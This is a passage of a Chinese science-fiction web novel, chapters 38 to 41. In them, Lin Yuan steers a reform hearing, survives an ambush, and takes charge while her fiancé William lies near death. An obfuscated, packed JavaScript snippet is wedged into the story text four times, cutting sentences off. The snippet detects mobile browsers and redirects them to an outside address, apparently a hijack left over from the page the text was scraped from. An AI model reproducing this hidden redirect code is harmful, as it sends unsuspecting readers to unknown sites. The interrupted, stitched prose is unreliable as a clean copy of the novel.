林沅立刻顾不上这个吻了,抗议道:“我今天的批阅单还没看完!” “我帮你看,睡吧。”威廉抱着她往外走,门外的军士和机器人熟门熟路地避开他们。 “不行啊,这也太‘昏君’了。”林沅不想别人听见,只能小声在他怀里着急地抗议。 “谁?你还是我?”威廉忍不住边走边逗她。 “咱俩。”林沅偷偷对头顶的脸翻了个白眼。 “像你以前说的那样,‘偷得浮生半日闲’,不好吗?” “那时候是没有压力……”林沅有点心虚,但不想在外面跟他讨论这些,先顺着威廉的意思被他抱回了卧室。 威廉把怀里的人轻轻放到床上,阻止了她想要挣扎起来的动作,耐心细致地给她除去身上的军装和薄毯,把她塞进绵软的被子里。 他轻轻拨开林沅脸上有些凌乱的碎发:“我想你尽快学会这些……但也不希望你太辛苦。” “我不苦啊,我很好的。”林沅立刻反驳他,“老实说……比实验有意思多了。” 威廉倚在床头,像哄小朋友那样隔着被子,轻轻拍她的后背:“既要学习处理政务,又要兼顾课业不落下。辛苦你了。” 林沅侧躺着。黑暗中,一双眼睛藏着窗外的月光,亮晶晶的,静静注视着威廉:“我听说今年底有外派联盟星海实验室的联合课题,为期两个月,正好给我们组了……是不是你的意思?” 威廉顿了一下,继续一下一下轻轻拍她的后背:“嗯。” “怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903945|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回事啊,你不想继续教我啦?”林沅假装嗔怪道。 威廉知道她心里其实很开心:“没什么……你最近也很累,该好好放个假。学这些东西不急于一时。” 林沅却似乎不是特别相信:“不对吧……你是不是有什么事情想支开我?” 威廉不动声色:“怎么会呢?所有绝密的政务你都能看见。我能有什么安排避开你。” 林沅不大相信他的信誉,又感觉困意慢慢像潮水一样袭来:“算了……你不想说的事,怎么问你都没用。” 威廉笑了笑,没有说话。 林沅继续含含糊糊地问他:“陛下和那几个书记官,今天还不肯吃饭?” 威廉点了点头:“听说枢密院改革推进会马上举行,急得很。” “他那个身子骨,倒是挺能折腾。” “也不会让他折腾太久了。” 林沅的睡意没了一半,挣扎着问他什么意思。 威廉只是含糊其辞:“让他继续颐养天年。” 林沅乐了,却也没反驳他。 两人安静了一会,就在威廉以为她快要睡着的时候,林沅又挣扎着迷迷糊糊地问道:“军部和安防,你真的没什么事瞒着我吗?” “没有。”威廉斩钉截铁地回道,听上去非常真诚。 林沅将信将疑,但连续多日劳累的困倦还是将她彻底拖进了黑暗里。 威廉轻拍她后背的手顿了顿,默默收了回来。 他借着月光细细看着林沅的脸,目光竟然有些缱绻和眷恋。 他几不可闻地叹了口气,无声无息地回了之前的书房。 金色半长卷发的书记官正在门外等他,跟着威廉一起进了房间。 “她就没有问过你什么?”威廉坐在虚拟屏前,继续批阅剩余的文件。 年轻的书记官摇了摇头:“她只问我实验和论文相关的事,就像在联盟时一样。” 威廉低声笑了一下:“小狐狸。” “您是说殿下她……是假装什么也不知道吗?”那位在视察时没有露过面的第十二位书记官,同时也是林沅的家庭教师——维奇,站在书房黑暗的角落中,轻声发问。 “没事,不重要。她想怎样,你顺着她就好。” 维奇点了点头。 “兰米斯蒂斯。”威廉习惯称呼他的名字而不是姓氏,“你觉得……林沅是个什么样的人?” 维奇迷茫了一瞬,谨慎地回答道:“殿下她……是个非常美好的人。” “美好啊……”威廉沉吟着,不易察觉地笑了一下。 维奇思索了一会,微微涨红了脸:“抱歉,我不该随意评价您的未婚妻……” 威廉意味不明地看了他一眼,不甚在意地回答:“没什么,是我问你的……你别想这么多。” 他飞速地翻阅虚拟屏上的批阅单,时不时停顿一下:“推进会准备的怎么样了?” 维奇立刻认真起来:“没问题,我会暗中帮林沅殿下处理好。” “让她放手去做,你不要帮她太多。” “明白。” 两人沉默了一会,维奇突然有些艰涩地开口:“殿下……” 两人实在太熟悉了,这样的语气,威廉立刻知道他想说什么:“计划照旧。” 想了一会,他又补充道:“如果我真的失败了……那么后续你的使命也就消失了,带她回到联盟吧。” “如果人类的命运注定终结。就过好最后一天。” 38.雨将至 威廉看着维奇欲言又止的表情,不太明显地笑了一下:“你会在心里抗拒我给你安排的那项任务吗?” 维奇立刻否认:“当然不会。” “那么我也是一样的。”威廉的视线重新聚焦在虚拟屏,示意交谈到此为止,“牺牲……对军人来说,是一种光荣。” 帝国首都星的秋夜仿佛格外漫长,而权力与野心的交织争斗,在暗夜中无数个不为人知的角落中悄悄上演。 无处不在,如影随形。 睡梦中的林沅暂时不知道这些。天亮后,忙碌的政务学习也让她无暇顾及一些细枝末节的悄然变化。 日子还在继续,关于枢密院的改革推进会也如期举行。 林沅以改革小组组长的身份主持会议,陈鹤明则作为书记官的首席代表出席质询。 这是一场准备多日的、精心策划的“表演”。 不算特别大的公共会议室内,屋顶拱起穹隆,灯带环绕,照亮地面半弧形围绕的听证坐席,和最前端的主持台。 林沅穿着制式的西装套裙,长发挽起,有些随意地坐在主持台前,用虚拟屏翻阅今天的讲稿。 台下的书记官和议员们尚未到齐,会议还未正式开始,嗡嗡作响的细碎交谈声此起彼伏。 林沅不动声色地扫视了一下远处荷枪实弹的警卫和来回巡视的攻击型激光机器人,今天的安保等级让她暗暗心惊。 威廉跟她承诺过的所谓“没有任何关于军部和安防上的隐瞒”,她从来都没有信过。 但他这个人做事一直都有自己的原则和计划,林沅努力亲近,却似乎仍然还是被不动声色地排除在外。 她在心底轻轻叹了口气。总是这样……要用她,却不信她。 今天的天气不算很好。远方高处最后一排听证坐席背后,朝向室外的大门处,隐约可以窥见天空一角。 云随风动,积雨如墨。 要变天了。 没等她感慨太久,准点已到。林沅站起身,举起右手中显示会议进程的一小块透明电子光板,将食指轻按于指纹识别处。 现场霎时肃静。所有听证会参与人员随她起身,以指纹识别自身身份,点亮身前的投票器。 林沅与陈鹤明共同准备多日的枢密院改革推进会,正式开始。 经过之前的“火烧枢密院”一役,平权法案开始推行,所有的反对派,从书记官到普通员工,尽数被陈鹤明从枢密院的人员登记册上除名。 这个看起来软弱无能的普通中年男人,是威廉押宝在书记官体系中,一枚决胜的暗棋。 他拉拢所有出于利益或者信仰的书记官,围绕在威廉的权力和政治布局周围,通过恩赏打压、投票选举,保证自己这边成为枢密院的多数派势力。 这是威廉能够在枢密院焚烧所有备用人造人并全身而退的根本原因。 曾经押宝皇帝的三位书记官,如今早已成为阶下囚。剩余的九人,也被他借着平权法案的推行进行了从上到下的大清洗。 如今他站在林沅对面。人人都在议论,说陈鹤明会让枢密院的所有权势集中于自己之下,做整个帝国的无冕之王。 此时此刻,整个现场,恐怕只有林沅明白,根本不是这样。 这个略显疲惫的中年人,站在林沅对面,用隐含欣赏的目光注视着自己相处了几个月的“学生”,表面却仍然严肃地发问,林沅也不慌不忙地回答他。 一如他们于宸宫中进行过无数次的“彩排”。 改革草案的内容非常简短。林沅与陈鹤明商量过后,以“现场阅读完全来得及”为借口,直到此刻,才将草案的真正内容全部公之于众。 推进会的听证人员们阅读过了自己面前虚拟屏上的文字,面色都有着或多或少的凝重,彼此交头接耳,那种恼人的“嗡嗡”声再次响了起来。 “肃静。”陈鹤明不慌不忙地抬手示意全场,然后继续提问,“请问林沅女士,‘六人议会制度’如何保证原本属于枢密院十二位书记官的工作能够尽数顺利进行?” 林沅不疾不徐,声音沉静:“裁撤枢密院,建立‘六人议会制度’,将原本属于枢密院的权力分别下放至‘六部’,‘六部’的所有高层官员直属部长管辖,部长兼任‘六人议会制度’的执政官,直接听命于皇帝,无需彼此负责。” 听证席上的讨论声再也压不住,“嗡嗡”的噪音越来越大,陈鹤明不得不轻轻敲击面前的桌子,示意所有人安静。 林沅停顿了一会,直到议论声被再次压下,才继续说道:“所有原属于枢密院的工作,按照职能分散于各部。关于部长人选,暂时由目前所剩的六位书记官担任,此次任期过后,再由全体六部成员投票和民众公投产生新的候选人,并最终由皇帝陛下选定,不再根据枢密院历任书记官组成的长老会推荐产生。” 议论声终于如同突然爆发的洪水,四散冲垮了整个宁静的空间。陈鹤明几次举槌敲击桌面,才让这种声音稍微小下去,勉强能听见他说话。 他又继续提问了林沅几个无关紧要的问题。林沅全都事无巨细地回答,流畅自然,不卑不亢。 投票环节开始。在会议之前,陈鹤明早已将改革内容在书记官内部以不同的形式秘密通过气。所有可能反对这个方案的人选被他和威廉合力尽数换下书记官之位。 所以林沅内心一直隐隐有种猜测,最近越来越严峻的形势,不止与人造人背后产业链的支持者有关,与被大换血并且彻底失权的枢密院和书记官们也脱不了干系。 突然,现场听证席一处似乎产生了不小的骚动。一位官员涨红了脸,手脚并用,笨拙地爬到他面前的桌子上,大声怒吼着什么,表情狰狞,纸质的草案备份被大力撕碎,随手一扬,如同雪花四散飞舞。 警卫冲上前,将他按倒在地。 这一幕荒诞得如同电影画面。林沅却只是假装什么也没看见,对着扩音器沉稳地发声:“投票继续。” 现场听证席的部分人员也被陈鹤明提前通过气,要求不论草案具体内容是什么,必须投赞成票。在一阵阵难以平息的骚动中,投票以225票赞同、173票反对、2票弃权的结果,达成半数通过。 林沅再次于愈演愈烈的反对声中,举起手中的电子光板,指纹认证,确认投票结果。 星际传媒实时全网播报,枢密院改革推进会中,初步改革方案获得半数以上赞同,正式通过。 林沅转身在警卫的护送下退场,没有再去观赏身后的赞扬与骂声。 其实林沅也曾疑惑过。这样虽然削弱了枢密院,却也换来军政大权的极端集中。 在威廉可能成为暴君的路途上,她似乎也成为了一个帮凶。 可是没有办法。坐视枢密院与皇权相抗,中饱私囊,发展一切有违人性的、血腥残酷的利益链,她扪心自问,也的确无法容忍。 世界的进展似乎被一双看不见的手操控着。人们在有限的空间内辗转挣扎,寻觅一线生机,却只是在逃离一个漩涡之后,走进更深的漩涡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910348|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >深秋萧瑟,冷风侵袭。警卫给林沅递来外套,林沅低声道谢,披在肩上。 远处黑云压低,山雨欲来。 “殿下,外面恐怕不太安全,您尽快上飞船,回到宸宫吧。”年轻的警卫好心提醒,林沅点头示意。 他们往飞船处走去,林沅突然注意到他袖章上不太起眼的雪狮图案,皱了皱眉:“你是‘雪狮’的军官?” 警卫这才注意自己竟然戴错了袖章,立刻慌了神,支支吾吾回答不上来。 林沅的心里莫名涌起不好的预感,她冷声斥问道:“没有过于特殊的安防任务,殿下为什么会把‘雪狮’派在我身边?” 军官看起来不过二十出头,明显缺乏应对的经验。有碍于林沅的身份,不想她因为急于在这里质问真相而出了什么问题,只好老实回答道:“殿下最近多次收到关于自己和您的死亡威胁,甚至实际的攻击……” 林沅心神巨震,恰在此刻,风吹雨落。无数小型的机器人,混在密织的雨幕中,向他们站立的地方悄无声息地袭来。 年轻的军官有着极其恐怖的直觉,他把林沅向飞船的方向狠狠一推:“殿下,跑!”自己拉开武器的保险栓,迅速找到掩体,对着机器人袭来的方向扫射。 潜伏于暗处的安防力量立刻跟上,与突然袭来的机器群发生交火。 林沅奔向飞船,在一路火力和人力的掩护下,仍然不可避免被饱和式攻击的机器人近身。 她甩出林AA和林BB,拉起反击的火力网,但寡不敌众,很快两个机器圆球便被击落在地面。 好在飞船已经近在眼前。守在门口的军官们一边火力反击,一边将她拉上飞船。 林沅靠在舱门内侧,感觉飞船被无数武器攻击到摇摆。 远处似乎有火光一瞬而至。伴随着门口军官“谁在首都星动用舰炮”的怒吼,飞船被重重击落在地。 林沅和两位军官被瞬间甩出舱门,跌落在产生无数坑洞和碎石的地面。 好在他们都没有受什么伤。林沅一边快速爬起来找掩体,一边观察现场环境,尽量不拖正在反击的军官们的后腿。 对方的火力显然比他们单纯为推进会准备的还要猛烈。而举行推进会的建筑为了抵抗火力攻击,已经落下防弹外罩。 林沅进退两难。 正在她觉得自己可能要交待在这里的时候,远处隐隐约约的支援舰队终于一边远程攻击,一边向这边冲过来。 林沅正想松口气,但一发突然分散的激光弹,闪避过无数道防线,竟然突破到她身前! 千钧一发之际,一个漆黑的单人飞船如同转瞬即逝的流星,以一种无法解释的速度迅猛地甩开大部队,直直冲到林沅头顶。 船身抵挡住无数激光,迸发出爆炸的火光。而火光之中,驾驶员从舱门跳落,被爆炸产生的冲击波略显狼狈地推到林沅身前。 流弹余威未尽。从天而降的人把林沅扑在身下,牢牢地护住她。 林沅感觉到他身体一瞬的颤动。似乎被武器击中。 大部队终于全数而至。林沅艰难地爬起来,双手抖得厉害,轻轻捧起他的脸。 银灰的发丝,湛蓝的眼睛。 是威廉·霍恩海姆。 威廉却只是无力地半靠在林沅怀里。林沅惊恐地看着一片殷红在他的军装背后迅速漫开。 他挣扎了一下,却没能再站起来。林沅支撑不住成年男人完全脱力的身体,只能任威廉单膝跪回地面。 如同巨像轰然坍塌。 39.风云变 对于袭击被成功阻拦后发生的一切,林沅的记忆仿佛存储于一片漫长又无声的真空。 这种无声并非完全静默,而是一种持续不断的、尖锐的、痛苦的耳鸣。 世界变成一幅抽象、荒诞的油画,只剩下点点滴滴支离破碎又意味不明的构成元素。 鲜血,尘土,隐隐作痛的伤口,和怀里无声无息的人。 除此之外,一无所有。 她不知道人的四肢如何运作,大脑又是怎样指挥语言与视觉系统精准匹配。她感觉自己变成了一个失去牵引的气球,乘着混杂了泥土和血液腥味的空气,无声无息地飘上前来支援的军部飞船,又飘到全体医护人员紧急待命的私人医院,最后飘到抢救室的门外。 没有思维,没有喜怒哀乐,自然也就不会感觉到天崩地裂般的悲伤。 “请您振作,殿下。”威廉的近卫副官灰头土脸地吊着左手小臂,忧心忡忡地守在附近,仍不忘在等待间隙给林沅寻来一方干净的手帕。 似乎接收到了来自外界的信号,那种尖锐的耳鸣如落潮一般迅速退去。林沅神情有些空白地看着眼前的帕子,没太反应过来这是什么意思。 她顺着副官示意的方向,伸手摸了摸自己的脸颊,摸到一片冰冷的湿润。 如同一尊沉默的塑像,林沅静坐了许久,才接过那方手帕,轻声道谢。 她没办法控制自己一直望向副官左臂的视线:“对不起……” 副官疑惑地看着她。 “您的手臂。”林沅艰难地开口,不敢转身去看身后抢救室里,脸色苍白的威廉和忙碌的医护,“还有……皇储殿下。” 副官思索了一会,才终于明白了她的意思。这个三十多岁的男人有些不好意思地挠了挠头:“我这点小伤都不需要休假,等有时间了,在疗养仓里多泡一会就好了。” 他的视线望向抢救室,努力遮掩语气中的忧虑:“这是所有反对派的错。谁发动了这次袭击,军部必要他们血债血偿。” 他眼神中熊熊燃烧的愤怒,突然给林沅无助的心注入了力量。 力气仿佛在一点点慢慢回到虚脱颤抖的四肢中来。她沉默了一会,起身斩钉截铁地吩咐副官:“麻烦尽快在医院帮我找一个临时会议室,同时以殿下的名义给陈首席以及莱茵将军致电,要求他们随时保持在线上,但不必立刻到这里来。” 副官得令,马上小跑着去协调医院的行政人员。林沅则打开自己的私人通讯,在某个群聊中发起通话,另外三个人不出所料地及时出现。 林沅用通讯器同时投射三个虚拟屏。莉莉丝最先焦急地开口:“你还好吗,阿沅?” 路易则表示他可以马上赶到医院。莉莉丝与丹尼尔也随声附和。 林沅却摇了摇头:“我需要你们帮我一些忙。” 在简要介绍了目前的情况后,她开始迅速并有条不紊地安排任务:“莉莉丝,麻烦你带上一封以殿下名义签署的密令,联络舆论中心负责人,控制所有网上报道的口径,对外说殿下只是擦伤。” “路易,请你立刻以殿下的名义带领‘雪狮’接管首都星安防,并监视各星球是否有异动。” 路易却有些担忧:“‘雪狮’会听我的安排吗?” “我会把殿下从前签署的战时预案发送给‘雪狮’的指挥官。你将成为实际上的监军,这是战时预案中包含的内容。”林沅沉着地回答。想了想,她又补充道:“无论谁反对,立刻以‘危害国家安全罪’的名义当场逮捕。” 路易的目光微带震惊,但很快收敛好情绪,领命称是。 最后,林沅的目光转向丹尼尔:“抱歉……我想麻烦你,以筹备老桑德兰先生个人绘画作品展览的名义,把所有首都星举足轻重的贵族家眷聚集到你那里,开一场非正式的酒会。” 丹尼尔似乎太正直了,一时有些没有反应过来:“……我父亲活着的时候,完全不会画画。” “哎呀这有什么要紧的。”另外两人还没有下线,莉莉丝已经迅速明白过来林沅的意思,立刻有些不满地对丹尼尔小声嚷嚷,“绘画不行就摄影展……总之你要找个借口把他们聚到你那里……快去。” 林沅点头,补充道:“麻烦你整理一个名单,邀请了谁、谁不愿意来、什么理由,全都记录下来交给我。” 三人立刻答应,几乎同时火速下线。副官小跑着过来,告诉她会议室已准备好,陈首席与莱茵将军很快将出现在线上。 动身前去会议室前,院长匆匆前来拦下了他们:“殿下的心脏严重受损,我们现在是用维生系统紧急维持着他的生命……但这不是长久之计,请尽快确认我之前提议的治疗方案是否可行。” 林沅墨色的长发微微有些凌乱的披散着,遮挡住了她眼神中的情绪。在院长视线不能触及的地方,她微微低头,猝然咬紧了嘴唇。 “这种状态还能维持多久。”她哑声问道。 院长尽量平和地回答她,却压不住声音中的颤抖与恐惧:“最多一天。” 会议室的工作人员气喘吁吁地跑来提醒,陈鹤明与莱茵已经在线上等候。 林沅示意副官守在这里和医护沟通:“先尽量保证殿下的安全。等我的消息。” 她神色匆匆地进了会议室。虚拟屏上,陈鹤明神情焦急,脸色苍白;莱茵还算镇定,但显然心情不好,棕栗色长发尽数盘在脑后,看不出一丝卷曲,神色格外冰冷严肃。 看到林沅出现,夏洛特·莱茵的表情有些恼火,但还是尽力压抑下去。 林沅能够理解她的愤怒,尽量沉静地通报了目前的情况,安抚道:“此时此刻,军部的重担完全压在您的身上了,将军。” “我会保证军部始终在掌控之下,这是职责所在。可是霍恩海姆殿下这样做,实在是太……”莱茵的眼睛紧紧盯着林沅,“为了未婚妻子牺牲,的确是感人的爱情。可他不应该忘了自己的身份与原则,帝国应当永远排在情爱之前。” 陈鹤明非常不满地打断她:“霍恩海姆殿下还生死未卜地躺在抢救室里,你有这个时间指责,不如想想如何能够救殿下,又怎样才能揪出幕后主使。” 即使陈鹤明于推进会之后,已然完全成为威廉这边的明牌,莱茵与他仍然有些莫名其妙的气场不和,听到这段话,更是满脸不屑的嘲讽。 林沅独自站在巨大的虚拟屏前,像单枪匹马抵御朔风急雨的一株矮草:“我明白,两位今天出现这里,都是为了帝国的未来。” 她微微扬起苍白的脸颊,没有任何表情:“现在我急召二位。第一,是商量目前维持帝国运转的应对措施;第二,是请求批准一项治疗方案。” 陈鹤明与莱茵的视线都盯在她身上。 林沅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922212|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽量简短并且清晰地向他们复述了自己对“信天翁”三人的安排。陈鹤明逐渐露出赞赏的神情,莱茵的神色也有所缓和。 但她嘴上仍然不肯饶人:“不过是几个小孩子,你对他们未免太过放心了。” 林沅倒是并不介意:“所以需要请您与陈首席,于军部、于政坛,共同主持大局。不要被任何人看出端倪,也绝不给反对派任何可乘之机。” 她也目光灼灼地回望两人:“现在是最紧张、最关键的时刻。我真正身涉帝国政坛的时间,也不过几个月。身上的一纸继承任命,没有任何实际意义。一旦殿下或者帝国出了什么差错,人微言轻如我,只会死无葬身之地。” “请一起努力,保住霍恩海姆殿下为如今的局势,所付出的全部心血。”她向着虚拟屏深深地鞠了一躬:“拜托了。” 莱茵似乎无意再为难林沅,错开眼神,有些别扭地答应道:“这是自然,我的职责所在。军部的一应事务你大可放心,对这次袭击的全面调查已经展开……路易那里,我也会照应。” 陈鹤明也立刻表示自己会协调书记官做好后续运转,改革计划也会如期进行。 林沅欣慰地勾起唇角,因为苍白的脸色,到有些示弱一般的柔和。 但这点笑容转瞬即逝,她继续忧心忡忡地说道:“最重要的事情,是关于霍恩海姆殿下的治疗方案。” 陈鹤明与莱茵的脸色也顿时严肃起来。他们看着自己面前虚拟屏上几十页长的手术须知,和最顶端的题目,《关于特殊军用材料人造心脏的备用手术计划》,陷入了长久的、无言的沉默。 “我想我不能,也没有权力一个人做这样的决定。所以请二位前来商榷。”林沅尽量镇静地看着他们,“如果没有异议,请共同在这份电子文件上签字。” 空气中的沉默,令人内心焦灼。 莱茵首先发声拒绝:“倘若这种从地球提炼而来的特殊材料数量不足,军部可以提供原本用于武器研究的那部分。但签字还是免了,这是家属的职责,帝国的未婚夫妻是有登记证明的。” 陈鹤明也难得附和她:“抱歉……但只能请您自己做决定了,林沅殿下。” 林沅只是微微点了点头,并没有什么情绪上的波动:“今天的会议会像往常那样做好记录。责任我可以自己承担,但等皇储殿下醒来,我总得向他证明这件事不是我的一言堂。还请二位谅解。” 言罢,她不再去观察两人的脸色,只是一笔一划地在手术须知上认真签上自己的名字,发送给院长。 在结束通讯之前,林沅再次叮嘱道:“在霍恩海姆殿下醒来前,有任何其他需要决断的事情,还请继续来这个会议室相商。另外为了不让外界起疑心,二位如果想来医院探望,请不要太频繁,同时尽量看起来光明正大、毫无忧色。” 陈鹤明立刻答应。莱茵犹豫了一会,不太情愿地回了一句“好”。 他们关闭了虚拟屏的形象显示系统,只各自留下了通讯人员,负责随时传递消息。 威廉的手术已经开始。林沅却只能埋进越来越多的文件和待处理事项中。她知道自己守在抢救室门外也没什么意义,还不如留在这里多做点事。 纤细灵活的手指在虚拟键盘上不断敲击,却有透明液体突如其来地落在她面前的会议桌上。 一滴,两滴,三滴。 40.生死局 泪水无声无息地顺着脸颊滑落,摔碎在桌面。 林沅抬起左手,潦草地蹭过下巴,擦去一点若有似无的泪痕。 医院的会议室并不大,此刻却显得格外空旷,仿佛要将孤独坐在长桌尽头的身影吞噬殆尽。室内非常安静,万籁俱寂,唯有手指落在桌面,敲击虚拟键盘的零星闷响。 悬浮灯于头顶的一小方天地盘旋,如同神明悬于高台,俯瞰孤独前行的旅客。 一片沉寂中,私人通讯的“滴滴”声突兀地响起。 林沅低头看了一眼,犹疑了几秒。和两位政要的通讯频道一直在线,但已暂时单向静音。 她点了接通。 林深的投影出现在半空中,白色外褂的扣子一丝不苟地系到最后一颗,校徽却别得歪歪扭扭。头发有些凌乱,镜片遮挡不住眼下的青黑,被白皙皮肤衬得格外显眼,神色中却盛满了难以掩藏的关切。 巨大的操作台在他身后缓缓移动,似乎正在进行某项实验。 自从上次安妮跟林沅坦白了身份,她和林深简要确认过后,便没有再联系。一晃几个月过去,此时此刻,竟然觉得有些陌生。 但林沅还是主动打破了沉默,嗓音略带一点哑意:“我很忙,你看起来也很忙,所以别问我任何事。一切都很好,如果你没什么要说的话,我就挂断了……对了,麻烦替我跟爸妈报个平安。” 林深深邃的杏眼疲惫又柔和地注视着她:“我知道你不会跟我透露关于皇储受伤的具体情况,但我很担心你,姐姐。” “我说了,一切都好……谢谢。” 林深似乎被这种过于客气的语气刺痛,有些落寞地微微垂下视线,眼神却仿佛不经意般扫过她周边空无一人的环境。 “别找了。安妮被我派去了宸宫。”林沅缓缓翻动着虚拟屏上的文件,“总得有个值得信任的人来看着那些‘囚徒’。” 林深的语气有些意味不明:“你跟以前有些不一样了,姐姐。” “人总不能白长这些年岁……但我现在不想跟你叙旧,阿深。”她的目光冷硬,疼痛中夹杂着尖刻的警惕,如同受伤的小兽。 林深的手臂动了动,似乎在摸索挂断的指示键:“原本我担心你像在蓬帕杜夫人的庄园时那样……不过现在看来,只是杞人忧天。” 一开始,林沅没有明白他的意思。十几秒钟后她反应过来,唇角微微勾起,在冷色调的灯光下像是枯坐的孤魂:“毕竟你劝诫过我,我铭记于心。” 她的目光追随着自己在虚拟屏前划动的手指:“我现在空有一个继任者的名头,还有一个改革小组组长的虚职。暂时没有人真正站出来做什么搅乱政局,恰恰是因为殿下没有死。倘若我头脑一热杀了他,以后的结局尚且不必讨论,当下我怕是就不能活着回到联盟了。” “我总得尽心尽力保住我权力的来源吧?” 林深短促地笑了一下:“这么理智吗,姐姐?” “你到底想说什么?”林沅有些不满地看着他。 “没什么……只是想提醒你,如果需要任何帮助,联盟仍然是你最坚实的后盾。” “但我希望尽可能不要牵扯到联盟。”林沅略显冷淡地拒绝了。 “没关系,只要你想,至少我会愿意为你鞍前马后。”他的态度实在奇怪,林沅没有什么心情跟他玩这种言语交锋,想要赶紧挂断通讯。 但林深再次开口打断了她:“最后问你一个问题,姐姐……但也许,你比我更需要这个答案。” 林沅感觉他简直有些人格分裂,人前人后完全两副面孔。她猜测也许是安妮身份摊牌的缘故,关于那些掩藏在海面下绵延的秘密,林深终于慢慢愿意向她显露冰山一角。 “……你不杀他,真的只有利益考量吗,姐姐?抹去所有利益,此时此刻,你真的还能做到对他刀剑相向?” 林深飞快地说完,像恶作剧得逞一样迅速挂掉了通讯,徒留林沅静静地坐在原地。 她的神情没有惊讶,也没有迷茫,甚至看不到一点波动,反而显得有些冷漠。 但其实她慌乱极了。寂静的会议室中,林沅停止了敲击键盘,所有能听见的声音,只有她自己如同擂鼓一般震动的心跳。 她曾坚定如铁地许诺自己“爱恨封缄”,却在林深一句简简单单的提问下溃不成军。 她感觉自己分离了成了两个人。 一个冷漠理智,侃侃而谈地分析利弊。权力不是空中楼阁,要想控制帝国的权柄,就要控制住威廉。他活着,自己才能通过他继续接触帝国的政坛。他死了,自己的继任者身份就是别人的眼中钉、肉中刺,每个反对派都会想要除之而后快。 另一个却只是不停地重复着林深的提问,在她脑海中循环滚动播放,如同恶魔低语:“真的只有利益考量吗?你敢说你问心无愧吗?” 林沅感觉头痛欲裂。她叹了口气,双手捧住脸颊,挡住整张脸,慢慢佝偻着腰,弯下年轻的身体,在灯光下蜷缩成一只没有安全感的、被滚沸的热水烫过后卷曲的海虾。 天地之间,只剩下一个孤独而迷茫的灵魂。 但她没能在这种寂静中沉浸太久。身后会议室的大门突然被急促地敲响,身前单向静音的虚拟屏对面,陈鹤明和莱茵的通讯人员也几乎同时大声报告:“殿下,紧急消息!” 仿佛一瞬间被点燃的炸药,整个会议室的空气在长久的寂灭之后开始极速流动,紧张不安的氛围转瞬蔓延。 林沅先示意通讯员稍等。她打开会议室的大门走了出去,院长带着两个神色仓皇的医护在长廊微弱的灯光下踱步,身上手上都沾上了来不及处理的、星星点点的血迹。 看见林沅出来,院长的眼神微微一亮,身体前倾,急切地靠了过来:“殿下……情况不太好。” 林沅脸色苍白,但神情镇静,要求他把话说明白。 院长叹了口气:“那种特殊材料虽然数量勉强还够……但与霍恩海姆殿下的身体产生了排异反应。” “理论上来讲这种纳米级的材料之所以珍贵,恰恰是自适应能力强的缘故。但这是我们将它用于医疗研究之后,第一次真正在实际的手术中使用,出现了从没有预见过的困难……” 林沅直截了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈鹤明那边的通讯人员推了推眼镜,翻着手里的纸质便签,抢先开口:“一位自称是霍恩海姆殿下复制人的青年在全网发布了一则视频,宣称霍恩海姆殿下已经失去掌控帝国的能力,而按照帝国从前的规定,复制的人造人应当成为合法的继承者。” 莱茵的通讯人员穿着一身军绿色的陆军制服,愤愤不平地将拳头擂向桌面,嗓音中气十足:“枢密院长老会突然宣布支持这位漏网之鱼,认为新颁布的继承方案没有通过长老会审议,您的身份……不具有合法性。” 林沅站在桌前,冷冷地笑了一下,眼神中藏着熊熊燃烧的火光:“通讯,接长老会。” 智能通讯系统静默了一会,温柔的女声中带着一点非常人性化的歉意:“抱歉,长老会拒绝接通。” 陈鹤明的书记员压低嗓音,却藏不住自己的愤怒:“他们发布了一封公开信,要求您和殿下立即在宸宫广场露面,否则他们将闯入宸宫救出陛下,让陛下亲口宣布您和殿下的婚约无效。” 林沅意味不明地笑了:“看来咱们的保密工作还算不错,他们急于知道威廉的生死呢……” “袭击视频第一时间被公开,所有人都看到了殿下受到袭击,尽管我们尽力清理全网的视频,还是有一部分被传播了出去。不过好在,他们应当不知道更多了。”军官紧紧皱着眉头,手指无意识地摩挲着自己的武器。 伴随“咚”的一声巨响,属于陈鹤明那边的虚拟屏里,大门被人大力撞开,一身西装的陈鹤明三步并作两步地跑进来,肃杀的神色让他一扫从前的懦弱忍让。 他看到林沅在线,松了一口气:“您准备动身去宸宫吗,殿下?” 41.问神佛 林沅静静看着通讯器上“信天翁”传来的简报,没有急着回答陈鹤明。 莉莉丝表示舆论小组正在试图查找人造人视频的源头,并将传播速度降到最低,但由于其他国家的舆论不在帝国掌控下,很难全网清理干净。 